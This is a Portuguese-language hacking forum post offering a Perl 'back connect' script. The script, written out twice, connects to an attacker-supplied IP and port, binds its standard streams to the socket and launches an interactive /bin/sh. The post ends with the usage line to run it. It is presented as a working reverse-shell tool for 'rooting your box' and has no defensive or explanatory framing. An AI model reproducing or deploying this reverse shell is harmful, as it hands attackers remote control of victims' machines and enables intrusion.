Hello my brothers.
Trago Um simples Script para back connect que codei em perl , leve e eficaz e sem me deixar na mao.
Basta salvar em .txt e executar:
Abraço a todos.
Trago Um simples Script para back connect que codei em perl , leve e eficaz e sem me deixar na mao.
#By n4sss.
#Just r00ting your box.
#2011
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "########################################\n";
print "# Back Connect Script By n4sss #\n";
print "########################################\n";
system("/bin/sh -i");
#Contact: n4sss@hotmail.com
#Just r00ting your box.
#2011
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "########################################\n";
print "# Back Connect Script By n4sss #\n";
print "########################################\n";
system("/bin/sh -i");
#Contact: n4sss@hotmail.com
perl n4sss.txt meuip porta
Abraço a todos.
Comment